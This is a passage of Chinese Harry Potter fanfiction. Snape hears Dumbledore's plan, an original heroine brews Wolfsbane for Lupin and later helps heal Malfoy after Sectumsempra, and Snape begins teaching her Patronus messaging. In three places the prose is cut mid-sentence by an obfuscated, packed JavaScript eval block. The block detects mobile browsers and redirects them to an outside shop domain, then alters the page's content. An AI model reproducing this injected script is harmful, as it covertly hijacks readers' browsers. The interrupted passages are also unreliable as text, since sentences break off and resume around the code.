“等等。”斯内普猛地抬手,急促地打断了他,眼中涌动着难以置信的情绪:“你是在告诉我,哈利·波特……是伏地魔的魂器之一?!这就是为什么波特能说蛇佬腔,还可以连接到伏地魔的思想?” “是的,你猜得没错。”邓布利多无奈地闭上了眼睛,斯内普注意到了他的胡子抖动得厉害,“所以,只要那片灵魂还在哈利身上,伏地魔就不可能死。” 斯内普的嘴唇微微卷起,眉宇间的刻痕变得更深了,他的胸膛正因这消息而起伏了起来。在内心挣扎了数秒以后,他才开口:“那么,我很期待你会告诉我,你找到了可以分离那片灵魂的办法。” 邓布利多望向了门口金枝上的已长回成鸟的凤凰福克斯,沉重地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他松了一口气,小声地说道:“别这样看着我。我或许该告诉你,我确实有在做一些准备。只是,我没有任何的把握。所以,你必须告诉他真相。” 斯内普直直地凝视着邓布利多。 有那么些时刻,他不得不承认,他真的后悔了。后悔自己花了这么长的时间为这位算尽一切的老巫师调制解药,更后悔自己曾一度考虑为他付出生命。 ——直到听见了这句话,斯内普的内心升起了解脱与释怀。 他垂下了头,静默许久,任由自己内心的愤怒弥散在邓布利多温和而深远的视线里。 他把脸沉在自己的黑发之下,平淡地开口,“如果这是你给的最终安排,那我要求你做最后一件事。” “什么事?”邓布利多轻声问道。 斯内普从自己的黑袍里摸出一小瓶魔药,大步走到邓布利多面前,越过了老巫师,将魔药轻轻放在了邓布利多的办公桌上。 随后,他低声说道:“以死亡激发诅咒反作用而换取重生的药,有副作用。但这已经是我能做到的最好了,怎么选择在于你自己。” 邓布利多缓缓转过头去看那瓶折射出银灰色光芒的药剂,瞪大了双眼,旋即再次望向了沉着脸的黑发巫师。 “西弗勒斯……” 这么多年。当初那个误入歧途的少年,如今竟然—— “现在,阿不思,把今晚告诉我这些事的记忆拿走,不然我不能有把握对你下手。”斯内普说,“你只要让我知道你信任过我,波特必须死去,就够了。” 邓布利多的嘴角收紧,心中的复杂情感将他带回了那晚的圣诞夜。他在面前的黑发巫师身上,竟看到了与那位少女一样的,真挚而炽热的感情。 他沉默地注视着斯内普,最后迟缓地点了点头。 “转过身去,西弗勒斯。” 半月形的眼镜后,老巫师的双眸早已盈满泪水。他内心一直深知,为了赢得这场战争,他们必须——必须抛弃所有作为人的情感。只有这样,才有可能获得些许的胜利。 然而此刻,当邓布利多望着斯内普挺直的背影,也终于明白,自己并不是孤单一人。他曾经的学生,那个瘦弱的少年,早已长成了魁梧的男人。他早已踏过了那些年少时的怨恨、愤懑与不甘,他的肩膀如今足够宽厚,可以负得起这份浩大的责任和使命。 “最后几件必须告诉你的事。”老巫师从淡紫色的星月袍里拿出了自己的接骨木魔杖,指向面前的身影。 斯内普肩膀微微一颤。 “第一,哈利之所以还活着,是因为你曾恳求伏地魔放过莉莉,古老的魔法因你而生效。如果没有你,波特一家早就命丧黄泉。而你也清楚,真正背叛他们的人,从来不是你。” “第二,”邓布利多的声音稍顿,带着隐隐的歉意,“我曾对你说过一些过激的话,为此,我感到抱歉。” “最后,”邓布利多掂着魔杖的左手在空中挥舞了起来,“她一直在为你努力着,不愿你走向那个注定的结局。” 几缕介于液体与气体之间的记忆从斯内普的太阳穴轻轻飘出,带着透亮的莹白色光芒与点点魔法粒子,像是飘渺的星尘,在昏暗得如浩瀚黑夜的房间里划出一道脆弱的弧线。 就在这道光线没入邓布利多面前的玻璃瓶中时,斯内普毫不犹豫地大步离去,砰的一声,门重重地关上了,带走了一室的回音。 38. 缺口 狼毒药剂有多难呢。 直到城堡外的迭迭积雪都化成一条湍急的小溪,将春天那缱绻的清寒雾气都冲刷干净了,白昼变得又长又绵,黑湖上方的峰峦再次披上染着不真实暖黄的黛青,月光和太阳都挂在穹隆,在这湿润微凉的傍晚里同辉。 直到了这样的五月,幻影移形的考试已顺利通过,弗立维教授的课上大家都能熟练地将黑醋变为红酒了,蕾雅才终于能稳定地配出之前在圣诞夜撞见斯内普在配的步骤。 但不知道从什么时候开始,斯内普不再配魔药了。 蕾雅不清楚是因为他已然得知邓布利多的决定,还是另有别的原因。与此同时,斯内普的话越来越少,整个人好像被一种如影随形的阴郁笼罩着,连这初夏动人的阳光都透不亮那种阴翳。甚至当蕾雅浪费了昂贵的魔药时,他都没有表现出以前一定会有的讽刺。 大段的时间里,斯内普不是在批改作业,就是浸在那些不知名的书籍。蕾雅有时候会偷偷瞄向他,看从他修长的手指里悄悄溜走的泛黄书页,苍白的手腕上面是一圈同样洁白的衬衫衣袖。 斯内普很快就察觉到她的视线,手指停在了微微翻开的书页上,头也没抬:“我脸上没有写着狼毒药剂的配置办法,莱恩哈特。” 她不好意思地抿了抿嘴,小声地说道:“先生,我总觉得不是很对,能麻烦您看一下吗?” 黑发巫师抬起眼角扫了她一眼,缓缓合上书起身来。他走到她的坩埚前面,先是皱起了眉将窗户推开了些,而后低下头,有些不耐烦地嘀咕了一句:“我说过多少次了,角度。” “唔……”少女不敢停下已经酸痛的手腕,只能侧过脸朝他投去求救的眼神。 斯内普叹了一口气,伸出手去。 就在蕾雅以为他要接过她手里的搅拌棍时,他的双手却放在了她的手腕上。骨节分明的右手将她的魔杖轻轻按下,左手则是稍稍扶起了她拿着搅拌棍。 太、太近了!! 他的手指轻触过的皮肤瞬间像被火焰灼烧般发烫起来。她几乎可以感觉到身后男人的高热体温,他的呼吸声也近在耳畔,比得上她呼之欲出的心跳。 一阵傍晚的微风带着潮润的湿气与恶作剧牵牛花的歌声扑来,拂在脸上,把她的脸颊到耳根都吹得泛起了淡淡的红晕。 少女身上的花香味也随之飘进他的鼻端,斯内普垂眸瞥了她一眼,就看见了她耳尖上的绯红。他的喉结微动了一下,须臾间就迅速抽回了手。 “记住这个角度。”他以低沉的声音说道。?“……好、好的。”她的声音变得更小了,细微地点了一下头,继续手上的动作。 他退到了书墙旁,倚靠在一侧,目光依然放在她身上。她正在轻轻将狼毒花粉末洒入坩埚里,指尖和手肘都透着微红。往上些,他察觉到她黑发间,领口后面露出的一小片肌肤也是红的。 他悄然无息地移开了目光,但不久之后,忍不住移了回来。 是什么时候开始的呢?他发现自己不排斥跟她共处一室。 她总是很安静地呆在角落里,动作细致、灵活,可以说得上是赏心悦目。她学得极快,也很少向他提愚蠢的问题。 在那次跟邓布利多聊过波特计划好的死亡以后,他必须承认,每周五这种固定的、有序的坩埚微微沸腾的声音,搭配着洋甘菊茶的清香,已成为一种能让他内心难得稳定下来的方法。至少,在这样的时间里,他可以从容地读得进书。 斯内普回过神来,走上前去平静地说道:“差不多了。” “嗯。”蕾雅脸上依然残留着淡红,她将搅拌棍抽了起来,悬在坩埚上面。 “描述成功配出狼毒药剂的特征。”斯内普问道。 “液面呈现出蓝紫色,略带银色的光泽,表面应光滑如镜,无任何杂质或气泡。气味不再刺鼻,轻微带着一种铁锈和苦涩。”她放下魔杖,用手指轻轻点了点坩埚边缘,表面的液体荡起涟漪,瞬间恢复回了一面平滑的镜子。 “还算可以。”斯内普顿了顿,卷起薄唇说道:“装瓶。让我们来看看那个狼人是会被你毒死,还是能顺利熬过这个月的痛苦。” “啊?”蕾雅愣了一下,完全没想到今天熬的这锅药会真的给卢平教授喝,吓得差点把手上的搅拌棍滑了回去,“这……” “有什么问题吗?”斯内普挑起眉来,同样假装讶异地注视着她,嘴角挂上一丝讥讽:“还是说,你对自己没自信?想再浪费我更多的材料?” “……没有问题,先生。”蕾雅倒吸一口气,只得硬着头皮拿起面前的一个空药瓶,小心地装了起来。 斯内普见她已经完成装瓶,便径自走到了壁炉前面,没什么感情地命令着:“过来。” 蕾雅疑惑地将温热着的魔药揣在手里,无声地走到他的身侧。斯内普没有看她,随手拿起了壁炉上方铁碗里的一把绿色粉末,洒在壁炉里。一团绿色的明艳火焰将他们包裹了起来。 “布莱克家。” 两个人到达格里莫广场的时候,布莱克和卢平正在长桌旁边聊天边等待着斯内普到来。空气里飘散着淡淡的木香,桌上散落着几份报纸和几封拆开的信件,一盘果干被推到桌边,两杯酒红色的液体和两杯还在冒着热气的茶水稳稳地放在两人面前。 随着壁炉飞路的声音落下,斯内普和蕾雅的出现打破了房间里原有的稳定,布莱克和卢平不约而同地抬起头来,脸上带着明显的震惊。 “呃,晚上好。布莱克先生,卢平教授。”蕾雅知道自己出现在这里会有多奇怪,但一贯的教养还是让她鼓起勇气先打了个招呼。 “蕾雅?”还没等布莱克喷出各种惊悚的言辞,卢平已经先站了起来。他有礼地朝黑发少女点头示意,随后转向板着脸的斯内普问道:“西弗勒斯,这是……?” “显然,考虑到我接下来的安排,我可以说我很难再每个月为你抽出时间。”斯内普冰冷地说着,黑色的瞳仁缓缓地移向身旁的少女,“所以,你以后的药,就由她来负责。” 卢平显然有些惊讶,他的深绿色眼睛在斯内普和蕾雅之间快速游移,脸上的疑惑无法掩饰。而布莱克则恢复了他一贯的优雅姿态,带着那种似乎洞悉一切的微笑,缓缓地拿起酒杯抿了一口酒。 斯内普瞬间看出了面前两人心里的疑虑,他扬了扬眉毛,抱起双臂继续补充道:“放心吧,这已经是霍格沃茨学生里能达到的最高水平了。况且,你们不是一直怀疑我的药里有毒吗?” “你心里有数就好。”布莱克轻描淡写地说了一句,语气里有一丝不屑。 “西里斯!”卢平赶紧将手放在他面前,打断了他的话,仿佛是在害怕将斯内普激怒。 蕾雅是没想到斯内普会在别人面前这样评价自己,脸顿时发烫了起来。她感到有些不自在,只得望向卢平,卢平注意到了她的目光,侧过脸来对她笑了笑,像是在鼓励她一样。 一旁的布莱克饶有兴致地半眯着眼睛,没有再发表任何的意见,沉默着又喝了一口手中的酒液。 “现在,别再浪费我们的时间,立刻把药喝了。”斯内普有些强硬的声音打破了四个人的面面相觑。 蕾雅立刻从怀里取出那瓶狼毒药剂,双手递到卢平面前,小声说道:“不好意思,卢平教授。这是我第一次成功,不知道味道怎么样……” 卢平伸手接过了药,嘴角仍然带着温柔的微笑,一头淡棕色的短发也跟着他的笑而变成令人舒服的弧度。他看了一眼旁边紧盯着他的斯内普,轻声道:“既然是得到西弗勒斯称赞的水平,我想一定是十分出色。”说完,他拔开了木塞,将瓶中蓝紫色的液体一口饮下。 不过,尽管卢平对狼毒药剂早已习惯,但难喝的事实却无法忽视。他的脸部肌肉扭曲着抽搐了一下,刚放下药瓶的手指再次颤抖着伸了出去,拿起放在布莱克手边的茶杯,大口灌了几口热茶,长长叹了一口气。 “呃……怎么样,先生?”蕾雅微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593448|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙着眉仔细地端详卢平的脸,有些担心地问他:“是不是……很难喝?” 卢平那张紧皱的脸大概有半分钟才重新摊开。他随后偏过头来,朝蕾雅挤出一个温和而虚弱的笑容,凑到她的耳边说道:“其实,我感觉比西弗勒斯熬的要好喝一点。” 斯内普显然听见了这句调侃,眉头紧锁,不满地哼了一声。对面的布莱克直接笑出了声,脸上的嘲弄意味显而易见。蕾雅顿时紧张起来,她回过头看向斯内普,正对上一双阴沉如夜的黑眸。 “那么,告辞。”斯内普沉着嘴角撇开视线,毫不犹豫地转身走向壁炉。 蕾雅立刻跟了上去,在斯内普扔下飞路粉的前一刻,卢平朝他们挥了挥手:“以后就拜托你了,蕾雅。” 回到斯内普的办公室里,天空依然亮着,他重新坐回了办公桌后面,随手摊开了刚刚放下的书。 “从现在开始,每个月圆前的一周,你可以随时使用这间办公室,或者直接去格里莫广场12号熬药。我已经跟邓布利多商量过了。记得,要看他喝下去再走,无论什么情况。” “好的。”蕾雅顺从地答着,思索一阵后又问道:“那周五的训练……” “训练已经可以结束了,除非你还有什么问题。”他淡淡地回答,手指翻过一页书,语气中没有丝毫情感波动。“如果我想起什么,会告诉你。” “好。”她朝已经低头埋进书里教授微笑了一下,然后走到坩埚的位置,将药材和器皿都收拾起来,再把窗户轻轻带上。 “谢谢您,那我不打扰您了。” “嗯。”斯内普挥了挥手,将室内的魔法烛火渐次点亮。 蕾雅转过身,穿过这些暗淡的光走向门口。她好像突然想起了什么,停下了脚步,背对着他犹豫地开口:“对了,先生。” “怎么。”斯内普又翻过了一页。 “邓布利多先生……”她轻轻说道。 “他下定了决心去死,我已经知道了。”斯内普接过了她的话,语调平淡冷静到如同在陈述一件与己无关的琐事一样。 “那您……”她回过头来,绿眸清亮而虔诚地凝视着他。 斯内普抬头便对上了这样的一双眼睛。他的肩线稍稍动了一下,手指在书页上停顿了一瞬,似乎迟疑了片刻。然后,他倏地重新低下了头,声音冷淡到如千里寒冰:“出去。” “……好。”她低声应着,有些失落地走出了这间办公室。 等少女离开了一阵,斯内普发现自己心里闷的厉害。他无意识地按着额角,思绪不由地回到了一个多月前与邓布利多的那场谈话。那时,邓布利多告诉他自己必须死,而哈利·波特也注定要面对死亡。 他很快注意到,自己没有关于谈话结尾的记忆。唯一还深刻地印在脑海中的,是那扇校长室的门关上时,发出了他从未听过的沉闷轰响。 他感觉自己彻底被背叛了。这种背叛感很不好受,像是本来既定的安全路线瞬间坍塌,之后骤然出现了满是荆棘的深渊。因此而产生的巨大愤懑差点让他失控。 于是,斯内普偏执地决定,永远不会再为那个冷漠无情、漠视生命的校长研制任何的药剂。 斯内普放下手里的书,起身走到窗边将厚重的窗帘拉上,让房间里只剩下了烛火微弱的光。放下手时,他的视线无意中落在被少女清洁得干干净净的器皿上。 盯了几秒,他的手指不由自主地移到坩埚的边缘,指腹轻轻剐蹭着冰冷的金属表面。 这是他从小学习魔药时就养成的一个坏习惯。他很清楚,这种无意识的细微动作能让他暂时安心下来。 奇怪。 他低下头去看这口坩埚。他记得它用了很多年,边缘早已布满了陈年的锈迹和缺口。然而此刻,这口坩埚却是如此的平整圆润,是被人细细修补过了。 ——“你难道没有想过,会有人为此心碎吗?” 该死的邓布利多。他的心又开始闷痛起来。 39. 疤 从斯内普的办公室出来以后,天色已开始暗淡,走廊外的天边隐隐浮现出许多星光,宛如洒落在天河的幕布之中,被徐徐掠过的层层薄云映得飘渺迷离。 蕾雅感觉胸口闷得慌,也许是因为再一次结束的训练,也许是因为邓布利多,也许——是因为斯内普。 已经五月了。离斯内普当初为邓布利多定下的一年期限只剩下一个多月。 每一天,都有可能是最后一天。 每一天,她对他的情绪也在疯长,快要到了自己没有办法控制的地步了。 同时,每次和他待在一起,那种无力感就愈发浓烈。她很清楚,斯内普马上也会离开这里——世人绝不会姑息一个杀死邓布利多的人。 那之后,他会去哪里呢?她又能做什么呢? 离宵禁还有时间,她干脆爬上了塔楼散心。 整个霍格沃茨还是那么得井然有序,学生们都沉浸在这梦幻旖旎的黄昏之下。庭院的一角传过来魁地奇训练的欢呼,走廊中回荡着皮皮鬼恶作剧后的惊叫,安然到她有时候在想也许邓布利多和斯内普说的话不是真的。 等时间差不多了,蕾雅从塔楼拐出台阶走向格兰芬多的方向,一眼就瞥见了楼梯那一头的哈利。 塔楼里一个人都没有,古老的吊钟发出的滴答滴答机械声寂寞地回荡着。哈利一脸严肃地就站在楼下的盥洗室门口,身体微微朝前倾,好像在偷听着里面的动静一样。 “哈……”蕾雅加快了步子,想跟他打个招呼。但是还没走近,哈利已经大步跑进盥洗室里了。 少女茫然地摇了摇头,想着等下在公共休息室碰见时里再问他好了,便放慢了下楼梯的步伐。 就这么想着慢悠悠地踩下台阶,突然,蕾雅面前的盥洗室门口缝隙里闪过一道刺眼的绿光,随之而来的是两道急促的红光。紧跟着这些咒语的,是接连不断的东西炸裂、破碎的声音,甚至连她脚下的台阶也因此而颤动了起来。 “别打了!别打了!!”桃金娘凄厉的尖叫在下一刻传了过来,“杀人啦——!” 这是? 蕾雅被这些动静惊得怔住了一瞬,心脏仿佛都要跳空一拍。她拧紧眉毛,意识到哈利身上正在发生什么事,便迅速从口袋里掏出魔杖,朝盥洗室方向跑了过去。 “不——!!!!”就在她离盥洗室还有几米远的时候,哈利从里面传出来的撕心裂肺吼声吓得她再次僵在原地。 “哈利?!”蕾雅回过神来,大声喊着飞奔了过去,用尽全身的力气推开盥洗室的门。 到处都是水。 污水、血水、水管里的水就像是激愤的瀑布一样喷涌而出。整个盥洗室里被水汽蒸得雾蒙蒙的,什么都看不清楚,但是有一股浓重的血腥味兀自弥漫了过来。 “不!!!——”最先映入眼帘的是哈利模糊的背影,他背对着门口跪在满地的水里,整个人都在颤抖。 蕾雅的心狂跳不止,背脊也开始发凉了起来,她的眉毛拧得更紧。她惴惴不安地淌进地板上的暗红色的水里,冰凉的水漫过她的脚踝,她顾不得已湿透的鞋袜和沾上的污物,快步跑了过去。 “哈利?哈利!?”蕾雅焦急地用双手按住他的肩膀,问到:“怎么了?” 哈利猛地回头,脸上布满了惊慌失措的神情,分不清是泪水、汗水、亦或是污水的液体从他的脸滑了下来。他的嘴唇在不住地打颤:“不,不!” 蕾雅顺着他的手望过去,他面前躺着的一个身体不停抽搐的金发男孩,竟然是马尔福。下一秒入目的是他衬衫上的大块鲜红,血液正不断地从他的胸腔里汩汩溢出,淌了下来,触目惊心。顺着浓重的血腥味,血红色大片大片混着地上的污水飘散了开去,就像是她曾经梦里开出的那些诡谲艳丽的红花。 “杀人啦!杀人啦!”桃金娘以尖锐的嗓音在他们身后哭嚎着。 马尔福? 等等,如果马尔福受伤了的话,那么斯内普? ——“听我说,我对你母亲立了牢不可破誓言,就是要保护你。” ——“牢不可破誓言一旦违背,代价就是死亡。” 思绪在脑海里稍纵即逝,蕾雅扑通一声便毫不犹豫地跪在了污水中,鲜红顷刻间就爬上了她的裙子。 “这是?!”她瞪大了双眼看着地上的马尔福,脑海里浮现出的却是斯内普的模样。她立马伸出左手去按住马尔福胸上的伤,哽着发颤的喉咙问道:“你做了什么,哈利?” “我、我没有。我没有!”哈利猛烈地摇头,眼里泛得通红,嘴里一直在重复着同样的话。 “杀人啦!盥洗室里杀人啦!”桃金娘的声音依然震耳欲聋,在盥洗室里响起回音。 蕾雅瞥了桃金娘一眼,很快意识到也许是哈利跟马尔福打起来了。梅林知道哈利坚信着马尔福已经加入食死徒,并一直在找机会证实这件事。 冷静。冷静。也许只是一发四分五裂。 双腿已经被快被水漫过了,蕾雅咬紧了唇忍下这种潮湿粘腻的恶心感,稳定住自己的心神,右手举起魔杖指向马尔福胸前的伤口,低声念到:“Episkey(治疗咒)。” 魔杖发出了一点白色的亮光,照亮了那几道隔着衣服也能看见的极深口子。但等光灭了下去以后,马尔福依然在不停地淌血。 “Episkey。”她急切地大声重复了一遍,然而伤口依旧没有合上的意思。 “不、不……”哈利也学着她的样子朝马尔福施了两发咒语,但一点作用都没有。 马尔福的脸因为失血过多而变得愈发苍白,鲜血仍然从按住的伤口里涌出,他的眼皮开始缓缓下垂,生命力正在逐渐消散。 不、不行——不能让他死。 在恼人的桃金娘叫喊和巨大的水声里,惶恐的汗水和泪水在她脸上一同淌下。蕾雅慌张地偏过头来,着急得连魔杖也好像要握不住了。 她用力地捏着哈利的肩膀,以一双满是紧迫和泪光的眼睛直视着他,“告诉我,哈利,你用了什么咒语!我不会说出去的!快说!!” 哈利茫然地看向她,猛猛地否认着:“不是……我没有……” 蕾雅把注意力放到他那副歪斜的眼镜一阵,几近生气地吼道:“醒醒!快告诉我!!你想看他就这样死去吗!” “告诉你也没有、也没有用……”哈利缓过神来,脸也变得苍白了起来,他声音微弱地嘟囔道:“是王子、王子的咒语……” 蕾雅的眼神瞬间敛住了,冷静地逼问道:“神锋无影,是不是!回答我!” “你、你怎么知道……”哈利忐忑地点了点头,绿色的眼睛里写满了无助。 蕾雅没有再回他的话,她迅速将魔杖指向马尔福的伤口上,深吸了一口气,在脑海里想起了它的反咒。 “Vulnera Sanentur——”她的声音如同低吟般,温柔而治愈的力量从她的魔杖尖端流淌了出来,笼罩在马尔福的伤口上,出血好像减轻了。 噢,谢天谢地—— 就在这时,身后的门砰地被猛然推开。哈利蓦地抬起头,下一瞬整个人好像见到鬼魅一样愣成了一座雕像。 是斯内普大步冲了进来,脸色铁青寒凉到就像雪地冬夜的禁林,黑袍的下摆一路将血水划开,整个人就如一阵莽撞的飓风般撞向他们。他毫不犹豫地一手推开哈利,动作粗暴而毫无怜悯。 他走到蕾雅身旁,垂下的左手轻轻搭在少女还在颤抖的肩膀上,随即就跪在她身侧,低声在她耳边说道:“我来。” 蕾雅满是泪痕的脸在看到斯内普冷峻的面容时,微微舒展了些。 他是她的定心剂,毫无疑问。她默默点了点头,抬起了手里的魔杖。 “Vulnera Sanentur。”斯内普的魔杖沿着那些已经减缓出血的伤口移动着,这一遍咒语后伤口不再出血了。 “Vulnera Sanentur。”他再一次念完了咒语,马尔福咳嗽着睁开了眼,似乎还没意识到刚才发生过什么。 少女这时才看向几乎是呆立在一侧的哈利,男孩低着头注视着积水的地板,整个人一动不动,就像史前那些忽然地被封在琥珀里的昆虫,惊恐的神情凝固在脸上。就在她准备走到他身边的时候,刚将马尔福搀扶起来的斯内普一把抓过了她的手腕。 “莱恩哈特,你带马尔福去医疗翼,给他拿点白鲜和补血剂。”斯内普的声音低沉而威严,仿佛从喉咙深处滚出来的一样,无情的黑眸随后碾向她身后的哈利,“你,留在这里。” “……好。”蕾雅顺应斯内普的指示,用肩膀支撑住马尔福的身体,犹豫地再撇了一眼哈利。 去医疗翼的一路上,等惊慌慢慢消散了。蕾雅突然觉得,如果霍格沃茨也有校报的话,也许明天自己和马尔福就能登上头条新闻。因为这一路上,两个人沾满了血水的衣服实在是过于显眼,引得每一个路过的人都停下了脚步投来好奇的目光。 更不要提,她还得努力地一边喊一边追在他的身后。 刚一离开盥洗室,这个桀骜的马尔福就粗鲁地甩开了她扶着他的手。 “你慢点!”蕾雅继续伸手揪住了马尔福沾满污渍的衣服,“你还没好呢!” “别管我!”马尔福再次执拗地用手背拨开她的手,一瘸一拐地走在前面。 “别管你?等下你院长就要找我算账了!”少女迈开了步子,毫不客气地朝他大喊道,“你慢点!你晕倒了我还得给你用漂浮咒!” “我不要你管!我也不想管院长会不会管你!”马尔福恼怒地吼了回去,他的皮鞋浸满了水,脚印都是一个个鲜艳的红。 蕾雅被他这偏执别扭的态度气得不轻,用力地踩过他的脚印,音量也随之升高:“你再不听话,我可是不介意再给你来一发神锋无影!” “……”马尔福回头狠狠瞪了她一眼。 “我认真的,放心,我还能治好你。”她毫不示弱地回瞪,语气中透着许多威胁,“你刚才也看到了,不过我的技术可能比你院长差那么一点点,等下不小心给你留个丑陋的疤痕!” 马尔福再瞪了她一眼,但步伐明显放慢了下来。蕾雅无奈地朝那个背影吐了吐舌头,跟了上去。 她脑中突兀地继续想起了刚刚的“头条新闻”——也许会是关于格兰芬多和斯莱特林因不知道什么事而大打出手的故事。 她盯着马尔福又湿又脏的衬衫,没来由地任想象力发散,随后皱了皱鼻子,抬手给两个人施起了清洁咒和干燥咒。效果并不是很好,因为他们俩的衬衫还是粉红色的。 算了。 他们一前一后地走着,蕾雅凝视着这个高瘦的身影轻轻叹了一口气,其实心里清楚,哈利之前的推测都是对的。 诅咒凯蒂·贝尔的项链,和让罗恩中毒的酒,都是马尔福做的。 那晚,邓布利多和斯内普的对话说得很清楚了。马尔福被神秘人赋予了任务,而那个可怕的任务是杀死邓布利多。但是,邓布利多和斯内普却想拯救他的灵魂。 愚蠢的孩子,总天真地以为自己能独当一面,最终其实还是活在了那些暗中安排好一切的高大庇护之下。 蕾雅跟着马尔福一起走进了医疗翼。她从来没有看见过庞弗雷夫人这样震惊的脸。 平日喜欢絮絮叨叨的庞弗雷夫人被两个人身上的血污吓得哑口无言。她迅速地将马尔福安置在一张病床上,再三确定少女没受伤以后,给她递了一条厚厚的毛巾。 蕾雅倒是不以为然,用毛巾抹了一把自己感觉还是脏乎乎的脸,而后披着毛巾坐在隔断帘一旁,耐心地等庞弗雷夫人给马尔福做检查。 庞弗雷夫人结束了检查,离开去隔壁的储存室取药。蕾雅坐在马尔福的床前,低头看着他脸上逐渐恢复的血色,终于放松了下来——至少斯内普今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593449|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚还不会因为马尔福的状况而死去。 少女垂下眼,打量着被强制按在病床上的金发男孩,他很瘦,一双灰色的眼睛里满是倔强,淡金色的头发上还沾着血污。 她随手再给他施了一发清洁咒,才懒懒地问道:“你为什么跟哈利打起来啊。” “我需要告诉你吗。”马尔福冷冷地回道,“还是说我不说你还要给我来一发神锋无影?” “不说就不说呗,我就随口问问。”蕾雅轻哼一声,耸了耸肩。 “你这种人,懂什么。”马尔福冷笑着白她一眼,嘲讽般开了口:“你只会躲在你爸爸的保护里过日子,不是吗?” 这家伙真气人啊!蕾雅的心里骤然升起莫名大的怒气。 明明他还牵扯着斯内普的性命,怎么可以—— “哦,你还知道我爸爸啊。”蕾雅的语气瞬间变得冷硬了起来,话锋也犀利地一转:“所以,你是因为你爸爸不在了,就在这里发脾气吗?” 马尔福的脸扭曲了,好像被戳到痛处了一样,他愤怒地吼道:“闭嘴!莱恩哈特!你根本不知道你在说什么!” 蕾雅毫不退让,微微扬起下巴:“我不知道?至少我不会让自己陷入更大的麻烦里,也不会因为自己而害别人丢掉性命。” 马尔福因为她的话而浑身一颤,拳头紧紧握起,整个人从床上弹了起来:“你什么意思,莱恩哈特!” 蕾雅冷漠地撇他一眼,抿紧了嘴,故意不再说话。 马尔福的呼吸变得急促,眼睛瞪得大大的:“你最好管好自己的事,莱恩哈特,否则——” “否则什么?”一道几乎跌到了冰点的声音从帘子后面传了过来,斯内普的大手刷地扯开隔断帘,毫无表情的脸从阴影里露了出来,低沉压抑到像是即将塌落的雪崩,“你打算继续像个不懂事的小孩一样,乱挥拳头,还是想采取更成熟的方式来面对你的问题?” 蕾雅也被斯内普吓得缩了缩脖子,忍不住偷偷瞥一眼病床上的马尔福。而这位男孩显然也没好到哪里去,刚刚恢复血色的脸倏地又苍白了下去,显然被斯内普的冷冽气场震慑住了。 “不是我先动手的。”马尔福别开脸,挣扎着小声辩解道。 “我不认为我在说的是谁动手的问题。”斯内普漠然地说着,嘴唇翘成一个可怕的弧度。他的黑眸沉沉地紧盯马尔福,深不见底得犹如一片无尽的山谷,蕾雅毫不怀疑他下一秒就能把马尔福扔落悬崖。 马尔福不由自主地抖了一下,整个病房都因斯内普散发出的压迫感而变成了无声的领域。 斯内普的目光最终从马尔福身上挪开,转向坐在一旁的蕾雅,依旧面无表情地说道:“没必要在这里浪费时间,莱恩哈特。到了宵禁的时间了。” “哦,嗯。”蕾雅抱着毛巾站起身,似乎想起了什么,低头对床上的马尔福说道:“好好恢复,别再做傻事,马尔福。” 马尔福显然还想说些什么,却被斯内普的眼神压了回去。斯内普也没有再说什么,跟在蕾雅身后走出了医疗翼。 等走到走廊里,蕾雅以为斯内普会跟她走到不同的方向去,但斯内普的脚步声始终敲在身后。她疑惑地回过头,发现斯内普双臂抱在胸前,眯着眼审视着她。 “教授?”她停住了脚步,抬眼望向他。 斯内普的嘴角微微动了一下,双眉紧皱,好像在思考着什么东西,又好像只是让大脑陷入了片刻的空白。 时间在他们之间凝滞住了,两个人就这样在空寂无人的长廊里对视着。 过了一阵,斯内普才缓缓抬起下颚,她无法读懂他的情绪。 “跟上。”他终于开口。 “嗯?”少女困惑地点点头,跟在了他还有些潮湿的黑袍后,将已经越过宵禁的事推到一边去。 蕾雅跟着他回到了黑魔法防御课的办公室。一关上门,斯内普就抽出了自己的魔杖,对她说道:“我记得你可以使用呼神护卫吧。” 蕾雅愣了一瞬,没想到他为什么这么问,但她旋即想了起来,当时黑魔法防御术O.W.L考试的时候,斯内普确实在考场上看见过她使用呼神护卫。 “我会。”她点头。 “我要教你用守护神传递消息,”斯内普停顿了一下,低头看着她,继续说道:“以后再有类似的情况,你立刻用它通知我。” “啊!我都不知道守护神还可以传递信息。”蕾雅讶异地说道。 “凤凰社的成员们常用这一方法。守护神可以远距离传递消息,安全且隐蔽,因为除了至亲之人,没有人能分辨出守护神的主人是谁。”他没什么感情地陈述着。 “明白,先生。”她轻快地答道。 她发现斯内普仍然在盯着自己,好像若有所思。 正当她要疑惑地提问时,斯内普很快地偏过了脸,缄默着挥起了手中的魔杖。 一片银色的光芒从他漆黑的魔杖顶端涌出,逐渐凝成了一只小鹿的形状。小鹿晶莹剔透,轻盈地蹦跃在斯内普的办公室里,它沿着房间的边缘绕了一圈,最后迈着欢快的步子跳到了蕾雅身侧。 